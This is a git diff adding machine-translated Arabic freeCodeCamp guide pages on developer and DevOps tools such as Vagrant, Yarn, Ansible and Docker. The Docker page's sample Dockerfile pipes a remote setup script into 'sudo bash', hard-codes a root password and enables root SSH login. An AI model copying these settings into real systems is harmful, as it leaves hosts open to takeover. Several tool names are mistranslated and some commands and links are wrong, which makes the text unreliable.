+++ b/client/src/guide/arabic/developer-tools/vagrant/index.md
@@ -0,0 +1,65 @@
+---
+title: Vagrant
+localeTitle: المتشرد
+---
+## المتشرد
+
+Vagrant هو أداة لبناء وإدارة بيئات الجهاز الظاهري (VM). يمكن استخدام الأجهزة الافتراضية لأي سبب ولكنها مفيدة بشكل خاص للمطورين و DevOps.
+
+### لماذا المتشرد هو مفيد
+
+كمطور ، باستخدام VM ، يمكن أن يكون لديك بيئة محلية لرمز الاختبار ، وهو نفس بيئة الإنتاج ، بغض النظر عن البيئة التي تستخدمها للتشفير.
+
+بالنسبة إلى DevOps ، تعد أجهزة VM مفيدة جدًا لوجود جهاز قابل للتكوين بشكل كبير ، يمكن استخدامه في اختبار البنية التحتية ، أو التهيئات ، أو البرامج النصية ، أو أي شيء آخر.
+
+مع Vagrant ، لاستخدام VM تحتاج فقط إلى ملف واحد ، يسمى `VagrantFile` ، والذي يحتوي على VM وكذلك كل التكوين المطلوب. وبهذه الطريقة يمكنك بسهولة إنشاء بيئة تطوير محددة ومعزولة وقابلة للنقل ويمكن مشاركتها واستخدامها من قبل جميع أعضاء الفريق.
+
+يحتوي Vagrant أيضًا على `boxes` محددة مسبقًا وهي أجهزة VM أساسية ، والتي يمكن استنساخها وتوسيعها بسهولة.
+
+ميزة أخرى رائعة جدا من Vagrant هي استخدام `synced folders` . من الممكن مزامنة مجلدات VM ، مع مجلدات في جهاز الضيف. من خلال القيام بذلك ، يمكنك استخدام محرر المفضلة لديك على الملفات المحلية وفي نفس الوقت لديك تلك الملفات المتزامنة مع VM الجاري تشغيله.
+
+#### معلومات اكثر:
+
+[موقع المتشرد](https://www.vagrantup.com/)
+
+### تثبيت المتشرد
+
+لتثبيت Vagrant ، ابحث أولاً عن [الحزمة المناسبة](https://www.vagrantup.com/downloads.html) لنظامك وقم بتنزيلها. يتم حزم المتشرد كحزمة التشغيل الخاصة. قم بتشغيل برنامج التثبيت الخاص بنظامك. سيقوم برنامج التثبيت تلقائيًا بإضافة متشرد إلى مسار النظام الخاص بك بحيث يكون متاحًا في المطاريف. إذا لم يتم العثور عليه ، فالرجاء محاولة تسجيل الخروج وإعادة تسجيل الدخول إلى نظامك (وهذا ضروري بشكل خاص في بعض الأحيان لنظام Windows).
+
+### تحقق من التثبيت
+
+بعد تثبيت Vagrant ، تحقق من عمل التثبيت عن طريق فتح موجه أوامر أو وحدة تحكم جديدة ، وتحقق من توفر المتشرد:
+
+ `$ vagrant 
+ Usage: vagrant [options] <command> [<args>] 
+ 
+    -v, --version                    Print the version and exit. 
+    -h, --help                       Print this help. 
+ 
+ # ... 
+` 
+
+### ابدء
+
+ `$ vagrant init hashicorp/precise64 
+ $ vagrant up 
+` 
+
+### مربعات
+
+تتم إضافة صناديق إلى Vagrant مع إضافة مربع المتشرد. يقوم هذا بتخزين المربع تحت اسم محدد بحيث يمكن لبيئات Vagrant المتعددة إعادة استخدامه. إذا لم تكن قد أضفت مربعًا حتى الآن ، فيمكنك القيام بذلك الآن:
+
+ `$ vagrant box add hashicorp/precise64 
+` 
+
+### العثور على المزيد من الصناديق
+
+أفضل مكان للعثور على المزيد من الصناديق هو [كتالوج مربع Vagrant Cloud الخاص بـ HashiCorp](https://vagrantcloud.com/boxes/search) .
+
+### مشترك
+
+يوتيوب: [الابتداء مع المتشرد](https://www.youtube.com/watch?v=LyIyyFDgO4o) من [Codecourse](https://www.youtube.com/user/phpacademy)
+
+#### معلومات اكثر:
+
+موقع [Vagrant](https://www.vagrantup.com) : [vagrantup.com](https://www.vagrantup.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/yarn/index.md b/client/src/guide/arabic/developer-tools/yarn/index.md
new file mode 100644
index 0000000000..53b01b7402
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/yarn/index.md
@@ -0,0 +1,78 @@
+---
+title: Yarn
+localeTitle: غزل
+---
+## غزل
+
+Yarn هو مدير حزم لرمزك. يسمح لك باستخدام ومشاركة التعليمات البرمجية مع مطورين آخرين من جميع أنحاء العالم. يعمل هذا الغزل بسرعة وأمان وبشكل موثوق بحيث لا تقلق بشأن تبعيات المشروع.
+
+يتيح لك الغزل استخدام حلول مطورين آخرين لمشاكل مختلفة ، مما يسهل عليك تطوير البرامج. إذا كان لديك مشاكل ، يمكنك الإبلاغ عن المشكلات أو المساهمة مرة أخرى ، وعندما يتم إصلاح المشكلة ، يمكنك استخدام الغزل للحفاظ على كل ذلك محدثًا.
+
+يتم مشاركة الكود من خلال شيء يسمى حزمة (يشار إليه أحيانًا باسم وحدة نمطية). تحتوي الحزمة على كافة التعليمات البرمجية التي يتم مشاركتها بالإضافة إلى ملف package.json الذي يصف الحزمة.
+
+لاستخدام خيوط الغزل ، يجب عليك تثبيتها على نظامك أولاً. هناك روابط في نهاية هذه المقالة لمساعدتك في القيام بذلك في أي نظام التشغيل الخاص بك.
+
+عندما يكون لديك خيوط مثبتة ، يمكنك البدء في استخدامها. فيما يلي بعض الأوامر الأكثر شيوعًا التي ستحتاج إليها.
+
+### استخدام الغزل
+
+**بدء مشروع جديد**
+
+ `yarn init 
+` 
+
+سيفتح الأمر `yarn init` نموذجًا تفاعليًا لإنشاء مشروع غزل. ينشئ `yarn init` `package.json` ملف `package.json` يخزن المعلومات حول مشروعك. سيتم فتح هذا النموذج التفاعلي بالأسئلة التالية:
+
+ `name (your-project): 
+ version (1.0.0): 
+ description: 
+ entry point (index.js): 
+ git repository: 
+ author: 
+ license (MIT): 
+` 
+
+يمكنك إما كتابة الإجابات لكل خيار أو فقط اضغط على إدخال دون كتابة أي شيء لاستخدام الافتراضي أو ترك فارغ. يمكنك دائمًا الانتقال إلى محرر النصوص المفضل لديك لتغيير ملف `package.json` ، إذا لزم الأمر.
+
+يجب أن يكون ملف `package.json` الخاص بك مشابهاً لهذا:
+
+ `{ 
+  "name": "your-new-project", 
+  "version": "1.0.0", 
+  "description": "A description of your new project.", 
+  "main": "index.js", 
+  "repository": { 
+    "url": "https://github.com/your-username/your-new-project", 
+    "type": "git" 
+  }, 
+  "author": "Your Name <your_name@example.com>", 
+  "license": "MIT" 
+ } 
+` 
+
+**إضافة تبعية**
+
+ `yarn add [package] 
+` 
+
+**ترقية التبعية**
+
+ `yarn upgrade [package] 
+` 
+
+**إزالة التبعية**
+
+ `yarn remove [package] 
+` 
+
+**تثبيت جميع تبعيات المشروع**
+
+ `yarn install 
+` 
+
+#### معلومات اكثر:
+
+*   [موقع الغزل](https://yarnpkg.com)
+*   [وثائق الغزل](https://yarnpkg.com/en/docs)
+*   [تثبيت الغزل](https://yarnpkg.com/en/docs/install)
+*   [غزل مقابل npm](https://www.pluralsight.com/guides/node-js/yarn-a-package-manager-for-node-js)
\ No newline at end of file
diff --git a/client/src/guide/arabic/devops/ansible/index.md b/client/src/guide/arabic/devops/ansible/index.md
new file mode 100644
index 0000000000..134bf7874c
--- /dev/null
+++ b/client/src/guide/arabic/devops/ansible/index.md
@@ -0,0 +1,66 @@
+---
+title: Ansible
+localeTitle: Ansible
+---
+## Ansible
+
+Ansible هو أداة سهلة الاستخدام الآلي. يمكن استخدام Ansible لأتمتة عمليات النشر والتحديثات والأمان وإدارة الأنظمة وتوفير الحاوية والمزيد. ملفات التكوين سهلة لإدارة ملفات YAML مكتوبة بلغة إنجليزية بسيطة. التثبيت بسيط ونظرًا لتنسيق Master-Push ، لا توجد عوامل مطلوبة على الأجهزة البعيدة. الاتصالات مع الأجهزة عن بعد عبر SSH.
+
+### التثبيت على خوادم Ubuntu 14.04 أو الأحدث
+
+يوصى بالتثبيت عبر Ansible PPA على خوادم Ubuntu.
+
+تأكد أولاً من أن النظام محدث.
+
+ `$ sudo apt-get update 
+ $ sudo apt-get upgrade 
+` 
+
+بعد ذلك ، ستحتاج إلى إضافة الحزمة التالية إلى نظامك
+
+ `$ sudo apt-get install software-properties-common 
+` 
+
+أضف ppa: ansible / ansible إلى النظام الخاص بك
+
+ `$ sudo apt-add-repository ppa:ansible/ansible 
+` 
+
+قم بتحديث repos الخاص بك مرة أخرى
+
+ `$ sudo apt-get update 
+` 
+
+عادة ما تكون هناك خطوات قليلة تشارك في نشر التعليمات البرمجية في الإنتاج (إلى الموقع المباشر). يزداد عدد الخطوات كلما أصبح موقعك / تطبيق / Webapp أكبر وأكثر تعقيدًا.
+
+الحل لهذا هو النشر الآلي. يأتي الأتمتة في شكل نصوص برمجية تعمل كمجموعة من التعليمات (تمامًا كما تفعل جميع التعليمات البرمجية) تحدد كل خطوة من هذه الخطوات.
+
+Ansible هي أداة أتمتة ، يتم استخدامها غالبًا للنشر كما هو مذكور أعلاه ، ولكنها تستخدم بشكل متزايد للأتمتة المعقدة الأخرى.
+
+تستخدم لغة تسمى [YAML](https://en.wikipedia.org/wiki/YAML) والتي تسمح لك بوصف المؤثرات القريبة من الإنجليزية البسيطة ، كما يمكنك أن ترى في مثال الوحدة النمطية Ansible:
+
+ `--- 
+ - yum: name={{contact.item}} state=installed 
+ with_items: 
+ - app_server 
+ - acme_software 
+ 
+ 
+ - service: name=app_server state=running enabled=yes 
+` 
+
+أخيرا ، قم بتثبيت الحزمة
+
+ `$ sudo apt-get install ansible 
+` 
+
+من المزايا المهمة لاستخدام Ansible هو أنه يستخدم SSH (Secure SHell) بشكل افتراضي ، ويمكن للوحدات أن تقيم على أي جهاز (كمبيوتر) لا يتطلب خوادم أو شواهد أو قواعد بيانات.
+
+القوة الحقيقية لـ Ansible هي استخدام قواعد اللعبة. اقرأ المزيد عن تكوين واستخدام Ansible على [وثائق Ansible الرسمية](https://docs.ansible.com/ansible/latest/index.html) .
+
+وحدات Ansible ، وهي برامج خاصة بمهام صغيرة. بمجرد أن تخدم هناك الغرض المقصود على سبيل المثال تشغيل برنامج نصي للنشر ، تتم إزالة هذه الوحدات عن طريق Ansible.
+
+#### معلومات اكثر:
+
+*   [تعرف على المزيد حول كيفية عمل Ansible](https://www.ansible.com/how-ansible-works/)
+*   [وثائق مستعصيه](http://docs.ansible.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/devops/azure/index.md b/client/src/guide/arabic/devops/azure/index.md
new file mode 100644
index 0000000000..46c4b14492
--- /dev/null
+++ b/client/src/guide/arabic/devops/azure/index.md
@@ -0,0 +1,22 @@
+---
+title: Azure DevOps
+localeTitle: أزور DevOps
+---
+## أزور DevOps
+
+Azure DevOps Services هي خدمة سحابة للتعاون في تطوير الكود. يوفر مجموعة متكاملة من الميزات التي يمكنك الوصول إليها من خلال مستعرض الويب أو عميل IDE ، بما في ذلك ما يلي:
+
+*   مستودعات Git للتحكم المصدر في شفرتك
+*   يمكنك إنشاء وإدارة الإصدار لدعم التكامل المستمر وتقديم تطبيقاتك
+*   أدوات رشيقة لدعم تخطيط وتتبع عملك ، وعيوب الكود ، والقضايا باستخدام طرق كانبان وسكروم
+*   مجموعة متنوعة من الأدوات لاختبار تطبيقاتك ، بما في ذلك الاختبار اليدوي / الاستكشافي واختبار الحمل والاختبار المستمر
+*   لوحات تحكم قابلة للتخصيص بدرجة كبيرة لمشاركة التقدم والاتجاهات
+*   الويكي المدمج لمشاركة المعلومات مع فريقك
+
+بالإضافة إلى ذلك ، يوفر النظام البيئي Azure DevOps دعمًا لإضافة الإضافات ، مع الدمج مع الخدمات الشائعة الأخرى ، مثل: Campfire و Slack و Trello و UserVoice والمزيد ، وتطوير الإضافات المخصصة الخاصة بك.
+
+اختر خدمات Azure DevOps عندما تريد إعدادًا سريعًا ، وعمليات خالية من الصيانة ، والتعاون السهل عبر النطاقات ، والمدى المرن ، والأمان الصارم. سيكون لديك أيضًا إمكانية الوصول إلى اختبار تحميل السحاب وخوادم إنشاء السحاب وإحصاءات التطبيقات.
+
+### مصادر
+
+*   [مايكروسوفت أزور - أزور ديفوب](https://azure.microsoft.com/services/devops)
\ No newline at end of file
diff --git a/client/src/guide/arabic/devops/chef/index.md b/client/src/guide/arabic/devops/chef/index.md
new file mode 100644
index 0000000000..50eaa54d67
--- /dev/null
+++ b/client/src/guide/arabic/devops/chef/index.md
@@ -0,0 +1,13 @@
+---
+title: Chef Server
+localeTitle: رئيس الخادم
+---
+## خادم الشيف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/ansible/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[شيف خادم مستندات](https://docs.chef.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/devops/docker/index.md b/client/src/guide/arabic/devops/docker/index.md
new file mode 100644
index 0000000000..a0b6b18b74
--- /dev/null
+++ b/client/src/guide/arabic/devops/docker/index.md
@@ -0,0 +1,188 @@
+---
+title: Docker
+localeTitle: عامل ميناء
+---
+## عامل ميناء
+
+Docker هو مشروع مفتوح المصدر يعتمد على حاويات Linux. ويستخدم ميزات Linux Kernel مثل مساحات الأسماء ومجموعات التحكم لإنشاء حاويات في أعلى نظام التشغيل.
+
+يستخدم Docker حاويات (نسخة وقت تشغيل لصورة) لإنشاء بيئات يمكنها إنشاء التطبيقات وتشغيلها وشحنها وتشغيلها بسهولة. وتتمثل الفائدة الرئيسية في أن حاويات Docker تعمل بشكل منعزل تمامًا من بيئة المضيف افتراضيًا ، فقط بالوصول إلى ملفات ومنافذ المضيف إذا تمت تهيئتها للقيام بذلك. هذا هو بديل رائع للآلات virutal (VMs) التي غالبا ما تكون كثيفة الموارد. تمثل صورة القرص VMs وحالة التطبيق تشابكًا في إعدادات نظام التشغيل ، والاعتمادات المثبتة في النظام ، وتصحيحات أمان نظام التشغيل ، وأشياء أخرى سهلة الفك ، يصعب تكراره.
+
+Docker هو برنامج كمبيوتر يقوم بإجراء محاكاة افتراضية على مستوى نظام التشغيل ، ويُعرف أيضًا باسم "containerization".
+
+Docker هو نظام أساسي للمطورين و sysadmins لتطوير التطبيقات وتوزيعها باستخدام الحاويات. يسمى استخدام حاويات Linux لنشر التطبيقات بالحاويات. الحاويات ليست جديدة ، ولكن استخدامها لنشر التطبيقات بسهولة هو.
+
+تزداد شعبية استخدام الحاويات لأن الحاويات هي:
+
+*   مرنة: حتى التطبيقات الأكثر تعقيدًا يمكن نقلها بالحاويات.
+*   خفيفة الوزن: حاويات الرافعة ومشاركة النواة المضيفة.
+*   للتبادل: يمكنك نشر التحديثات وترقيات على الطاير.
+*   محمول: يمكنك الإنشاء محليًا ونشرها في السحاب وتشغيلها في أي مكان.
+*   قابلة للتحجيم: يمكنك زيادة نسخ متماثلة حاوية وتوزيعها تلقائيًا.
+*   قابل للتكديس: يمكنك تكديس الخدمات رأسيًا وتطيرًا سريعًا.
+
+التثبيت [لنظام Mac](https://docs.docker.com/docker-for-mac/install/)
+
+تركيب [ويندوز](https://docs.docker.com/docker-for-windows/install/)
+
+التثبيت [لأوبونتو](https://docs.docker.com/install/linux/docker-ce/ubuntu/)
+
+_جميع روابط thoses هي ل Docker CE (إصدار المجتمع)_
+
+* * *
+
+## اختبار Docker الإصدار
+
+لاختبار ما إذا كان التطبيق سارًا بشكل جيد ، قم بتشغيل:
+
+ `docker --version 
+` 
+
+تأكد من أن لديك مخرجات تبدو كالتالي:
+
+ `Docker version 18.06.1-ce, build e68fc7a 
+` 
+
+* * *
+
+## اختبار تركيب عامل الميناء
+
+اختبار أن التثبيت الخاص بك يعمل عن طريق تشغيل صورة Docker بسيطة ، مرحبا العالم:
+
+ `docker run hello-world 
+ 
+ Unable to find image 'hello-world:latest' locally 
+ latest: Pulling from library/hello-world 
+ ca4f61b1923c: Pull complete 
+ Digest: sha256:ca0eeb6fb05351dfc8759c20733c91def84cb8007aa89a5bf606bc8b315b9fc7 
+ Status: Downloaded newer image for hello-world:latest 
+ 
+ Hello from Docker! 
+ This message shows that your installation appears to be working correctly. 
+ ... 
+` 
+
+### ما هي الحاويات ثم:
+
+ببساطة ، ليس أكثر من تعبئة عملية / تطبيق وهي تبعيات إلى صورة قابلة للتوزيع يمكن تشغيلها في عزلة.
+
+### لماذا نحتاج Docker:
+
+إنه يجعل حياة مهندسي البرمجيات أمرًا سلسًا جدًا حيث سيعملون دائمًا على نفس بيئة التطوير. يساعد في مشاركة المنتج النهائي للعملاء / الفرق الأخرى دون القلق بشأن مشكلات البيئة. إنه يقلل من كمية الأجهزة التي نحتاجها لتشغيل تطبيقاتنا من خلال عدم إهدارها لطبقة نظام التشغيل غير الضرورية.
+
+## مفاهيم Docker الأساسية
+
+### عامل الميناء
+
+محرك Docker هو الطبقة التي يعمل عليها Docker. إنه وقت التشغيل الخفيف والأدوات التي تدير الحاويات والصور والبناء وأكثر من ذلك. يتم تشغيله أصلاً على أنظمة Linux ويتكون من:
+
+1.  A Docker Daemon الذي يعمل في الكمبيوتر المضيف.
+    
+2.  عميل Docker الذي يتصل بعد ذلك بـ Docker Daemon لتنفيذ الأوامر.
+    
+3.  A REST API للتفاعل مع Docker Daemon عن بعد.
+    
+
+### عميل عامل الميناء
+
+عميل Docker هو ما تتعامل معه ، بصفتك المستخدم النهائي لشركة Docker. فكر في الأمر على أنه واجهة المستخدم لـ Docker.
+
+### عامل الميناء الشيطان
+
+إن Docker daemon هو ما ينفذ فعليًا الأوامر المرسلة إلى عميل Docker - مثل إنشاء ، وتشغيل ، وتوزيع حاوياتك. يعمل Docker Daemon على الجهاز المضيف ، ولكن كمستخدم ، فأنت لا تتواصل مباشرة مع Daemon. يمكن تشغيل عميل Docker على الجهاز المضيف أيضًا ، ولكنه ليس مطلوبًا. يمكن تشغيله على جهاز مختلف والتواصل مع Docker Daemon الذي يعمل على الجهاز المضيف.
+
+### Dockerfile
+
+Dockerfile هو المكان الذي تكتب فيه التعليمات لبناء صورة Docker. يمكن أن تكون هذه التعليمات: **RUN apt-get y install some-package** : to install a software package **EXPOSE 8000** : لعرض منفذ **ENV ANT\_HOME / usr / local / apache-ant** لتمرير متغير بيئة وما إلى ذلك. بمجرد الانتهاء من إعداد Dockerfile ، يمكنك استخدام الأمر لبناء المرسى لبناء صورة منه. إليك مثال على Dockerfile:
+
+ `# Start with ubuntu 14.04 
+ FROM ubuntu:14.04 
+ 
+ MAINTAINER freeCodeCamp@gmail.com 
+ 
+ # For SSH access and port redirection 
+ ENV ROOTPASSWORD sample 
+ 
+ # Turn off prompts during installations 
+ ENV DEBIAN_FRONTEND noninteractive 
+ RUN echo "debconf shared/accepted-oracle-license-v1-1 select true" | debconf-set-selections 
+ RUN echo "debconf shared/accepted-oracle-license-v1-1 seen true" | debconf-set-selections 
+ 
+ # Update packages 
+ RUN apt-get -y update 
+ 
+ # Install system tools / libraries 
+ RUN apt-get -y install python3-software-properties \ 
+    software-properties-common \ 
+    bzip2 \ 
+    ssh \ 
+    net-tools \ 
+    vim \ 
+    curl \ 
+    expect \ 
+    git \ 
+    nano \ 
+    wget \ 
+    build-essential \ 
+    dialog \ 
+    make \ 
+    build-essential \ 
+    checkinstall \ 
+    bridge-utils \ 
+    virt-viewer \ 
+    python-pip \ 
+    python-setuptools \ 
+    python-dev 
+ 
+ # Install Node, npm 
+ RUN curl -sL https://deb.nodesource.com/setup_4.x | sudo -E bash - 
+ RUN apt-get install -y nodejs 
+ 
+ # Add oracle-jdk7 to repositories 
+ RUN add-apt-repository ppa:webupd8team/java 
+ 
+ # Make sure the package repository is up to date 
+ RUN echo "deb http://archive.ubuntu.com/ubuntu precise main universe" > /etc/apt/sources.list 
+ 
+ # Update apt 
+ RUN apt-get -y update 
+ 
+ # Install oracle-jdk7 
+ RUN apt-get -y install oracle-java7-installer 
+ 
+ # Export JAVA_HOME variable 
+ ENV JAVA_HOME /usr/lib/jvm/java-7-oracle 
+ 
+ # Run sshd 
+ RUN apt-get install -y openssh-server 
+ RUN mkdir /var/run/sshd 
+ RUN echo "root:$ROOTPASSWORD" | chpasswd 
+ RUN sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config 
+ 
+ # SSH login fix. Otherwise user is kicked off after login 
+ RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd 
+ 
+ # Expose Node.js app port 
+ EXPOSE 8000 
+ 
+ # Create tap-to-android app directory 
+ RUN mkdir -p /usr/src/my-app 
+ WORKDIR /usr/src/my-app 
+ 
+ # Install app dependencies 
+ COPY . /usr/src/my-app 
+ RUN npm install 
+ 
+ # Add entrypoint 
+ ADD entrypoint.sh /entrypoint.sh 
+ RUN chmod +x /entrypoint.sh 
+ ENTRYPOINT ["/entrypoint.sh"] 
+ 
+ CMD ["npm", "start"] 
+` 
+
+#### معلومات اكثر:
+
+*   [المبتدئ ودية الوثيقة](https://medium.freecodecamp.org/a-beginner-friendly-introduction-to-containers-vms-and-docker-79a9e3e119b)
+*   [عامل الميناء الوثائق الرسمية](https://docs.docker.com/get-started/)
+*   [جرب Docker Online](http://training.play-with-docker.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/devops/index.md b/client/src/guide/arabic/devops/index.md
new file mode 100644
index 0000000000..f83cd71fd0
--- /dev/null
+++ b/client/src/guide/arabic/devops/index.md
@@ -0,0 +1,28 @@
+---
+title: DevOps
+localeTitle: DevOps
+---
+## DevOps
+
+![دورة devops](http://blog.xebialabs.com/wp-content/uploads/2016/03/DevOps-cycle-PPT-COLOURS.png)
+
+DevOps هو تكامل العمل بين وظائف التطوير والعمليات. يتمثل أحد الأساليب المتبعة في القيام بذلك في أتمتة كيفية تكامل البرامج ونشرها أثناء انتقالها بين بيئات التطوير والاختبار والإنتاج. هذا يسهل عمليات التثبيت للبرنامج ، وبالتالي يقلل من فرصة الخطأ بشكل مثالي.
+
+بدلا من ذلك ، يمكن أن يتم تطوير البرمجيات داخل الصوامع. هناك صومعة واحدة مسؤولة عن تقديم طلبات ميزة ، ثم تحويلها إلى مكونات برامج مع أي لغة برمجة ، ويتم إجراء الاختبار الأساسي في بيئة ذات بيانات خيالية. عند الانتهاء من الاختبار المحلي ، يتم التعامل مع منتجات العمل إلى فريق عمليات منفصل مسؤول عن إعادة تثبيت البرنامج في بيئة إنتاج منفصلة تدعم حركة المستخدم الحقيقية. وبمجرد أن يكون البرنامج في هذه البيئة ، تحتفظ فرق العمليات بمسؤولية الشفرة ، بما في ذلك تحديد أي عيوب في المنتج. إذا تم العثور على هذه العيوب ، تتم مشاركتها مع فريق التطوير ، الذي يحاول حلها ، ثم يسلم نسخة جديدة من البرامج إلى فرق العمليات.
+
+يحتوي هذا القسم على مقالات مقدمة للتقنيات المستخدمة في DevOps.
+
+### معلومات اكثر
+
+*   [اقرأ المزيد عن DevOps على ويكيبيديا](https://en.wikipedia.org/wiki/DevOps)
+*   [شاهد هذا الفيديو الذي يشرح Devops](https://youtu.be/_I94-tJlovg)
+
+### مصادر
+
+يحتوي هذا القسم على روابط لتعلم DevOps من خلال تجربة MOOC. قد تكون الدورات مدفوعة الأجر فقط.
+
+*   [دورة EDX](https://www.edx.org/microsoft-professional-program-front-end-development)
+
+### مختبر
+
+[DevOps](https://github.com/Microsoft/TechnicalCommunityContent/tree/master/DevOps)
\ No newline at end of file
diff --git a/client/src/guide/arabic/devops/puppet/index.md b/client/src/guide/arabic/devops/puppet/index.md
new file mode 100644
index 0000000000..4219b6031b
--- /dev/null
+++ b/client/src/guide/arabic/devops/puppet/index.md
@@ -0,0 +1,13 @@
+---
+title: Puppet
+localeTitle: دمية
+---
+## دمية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/docker/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[وثائق الدمى الرسمية](https://puppet.com/docs/puppet/5.3/architecture.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/devops/saltstack/index.md b/client/src/guide/arabic/devops/saltstack/index.md
new file mode 100644
index 0000000000..d8c2e91b9d
--- /dev/null
+++ b/client/src/guide/arabic/devops/saltstack/index.md
@@ -0,0 +1,13 @@
+---
+title: Saltstack Server
+localeTitle: ملح كومة خادم
+---
+## خادم الملح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/devops/saltstack/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[Saltstack خادم مستندات](https://saltstack.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/devops/terraform/index.md b/client/src/guide/arabic/devops/terraform/index.md
new file mode 100644
index 0000000000..0711556594
--- /dev/null
+++ b/client/src/guide/arabic/devops/terraform/index.md
@@ -0,0 +1,12 @@
+---
+title: Terraform
+localeTitle: Terraform
+---
+## Terraform
+
+Terraform هي بنية تحتية برمجية برمجية بواسطة HashiCorp. يتيح للمستخدمين تحديد مركز البيانات البنية التحتية في لغة تكوين عالية المستوى ، والتي من خلالها يمكن إنشاء خطة التنفيذ ل بناء البنية التحتية في مزود خدمة مثل OpenStack أو في مزود خدمة مثل IBM Cloud (Bluemix سابقًا) أو AWS أو Microsoft Azure أو Google Cloud Platform. البنية التحتية محددة في صيغة جمل HCL Terraform أو تنسيق JSON.
+
+#### معلومات اكثر:
+
+*   [الموقع الرسمي](https://www.terraform.io)
+*   [Terraform على جيثب](https://https://github.com/hashicorp/terraform)
\ No newline at end of file
diff --git a/client/src/guide/arabic/docker/docker-build/index.md b/client/src/guide/arabic/docker/docker-build/index.md
new file mode 100644
index 0000000000..74ca7c57c7
--- /dev/null
+++ b/client/src/guide/arabic/docker/docker-build/index.md
@@ -0,0 +1,18 @@
+---
+title: Docker build
+localeTitle: بناء عامل الميناء
+---
+## بناء عامل الميناء
+
+`docker build` إنشاء صورة عامل ميناء من Dockerfile و "السياق". يمكن أن يكون السياق URL أو PATH محلي. يمكنك تسمية الصورة باستخدام العلامة `-t` الاختيارية.
+
+سيقوم Dockerfile بتثبيت التبعيات أثناء أمر البناء ، من عنوان URL محدد أو PATH محلي. يجب تحديد أي تبعيات ضرورية في حاوياتك في Dockerfile.
+
+يتم الآن تخزين صورتك في سجل صور Docker المحلي الخاص بجهازك.
+
+عند إنشاء حاويات Docker ، يمكنك عندئذ تشغيل التطبيق باستخدام أوامر التشغيل المناسبة.
+
+#### معلومات اكثر:
+
+*   [Docker CLI docs: build](https://docs.docker.com/engine/reference/commandline/rm/)
+*   [عامل بناء بناء التطبيق الخاص بك](https://docs.docker.com/get-started/part2/#build-the-app)
\ No newline at end of file
diff --git a/client/src/guide/arabic/docker/docker-compose/index.md b/client/src/guide/arabic/docker/docker-compose/index.md
new file mode 100644
index 0000000000..97182e3dea
--- /dev/null
+++ b/client/src/guide/arabic/docker/docker-compose/index.md
@@ -0,0 +1,44 @@
+---
+title: Docker compose
+localeTitle: يؤلف عامل الميناء
+---
+## يؤلف عامل الميناء
+
+Docker-Compose هو أداة لتحديد وتشغيل تطبيقات Docker متعددة الحاويات. باستخدام Compose ، يمكنك استخدام ملف YAML لتكوين خدمات التطبيق الخاص بك.
+
+الخطوات اللازمة لاستخدام عامل الميناء-إنشاء
+
+ `1)create a Dockerfile which defines the image and can be produsable every where. 
+` 
+
+ `2)create a docke-compose yml file to run the services 
+` 
+
+ `3)use docker-compose up to start the sevices specified in docker-compose.yml file 
+` 
+
+#### الأوامر الأساسية في buser-compose
+
+*   الأمر لتشغيل حاويات عامل ميناء
+
+ `docker-compose -f docker-compose.yml up 
+` 
+
+*   أمر لتشغيل الحاويات في وضع فصل
+
+ `docker-compose -f docker-compose.yml up -d 
+` 
+
+*   الأمر لتشغيل الحاويات بعد بناء الصور مرة أخرى (ملاحظة: المرة الأولى التي نستخدم فيها بناء حاويات حاويات السفن سوف يحدث تلقائيًا)
+
+ `docker-compose -f docker-compose.yml --build -d 
+` 
+
+*   أمر لإيقاف الحاويات عندما نركض في وضع فصل
+
+ `docker-compose -f docker-compose.yml down 
+` 
+
+#### معلومات اكثر:
+
+*   \[مزيد من المعلومات حول Docker-compose\] (https://docs.docker.com/compose/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/docker/docker-detached-mode/index.md b/client/src/guide/arabic/docker/docker-detached-mode/index.md
new file mode 100644
index 0000000000..42a1d77a9b
--- /dev/null
+++ b/client/src/guide/arabic/docker/docker-detached-mode/index.md
@@ -0,0 +1,17 @@
+---
+title: Docker detached mode
+localeTitle: دوكر وضع منفصلة
+---
+## دوكر وضع منفصلة
+
+يعني الوضع المنفصل ، الموضح في الخيار `--detach` أو `-d` ، أن حاوية Docker تعمل في خلفية الجهاز الخاص بك. لا يتلقى مدخلات أو عرض الإخراج.
+
+ `docker run -d IMAGE 
+` 
+
+إذا قمت بتشغيل حاويات في الخلفية ، يمكنك معرفة التفاصيل الخاصة بها باستخدام `docker ps` توصيل `docker ps` ، ثم إعادة توصيل الجهاز بمدخلات ومخرجاته.
+
+#### معلومات اكثر:
+
+*   [إرفاق وفصل من حاوية قيد التشغيل Docker Docs](https://docs.docker.com/engine/reference/commandline/attach/#examples)
+*   [فصل مقابل في المقدمة مستندات Docker](https://docs.docker.com/engine/reference/run/#detached-vs-foreground)
\ No newline at end of file
diff --git a/client/src/guide/arabic/docker/docker-rm/index.md b/client/src/guide/arabic/docker/docker-rm/index.md
new file mode 100644
index 0000000000..fde613409f
--- /dev/null
+++ b/client/src/guide/arabic/docker/docker-rm/index.md
@@ -0,0 +1,26 @@
+---
+title: Docker rm
+localeTitle: عامل الميناء
+---
+## عامل الميناء
+
+`docker rm` يزيل حاويات بالاسم أو الهوية الخاصة بهم.
+
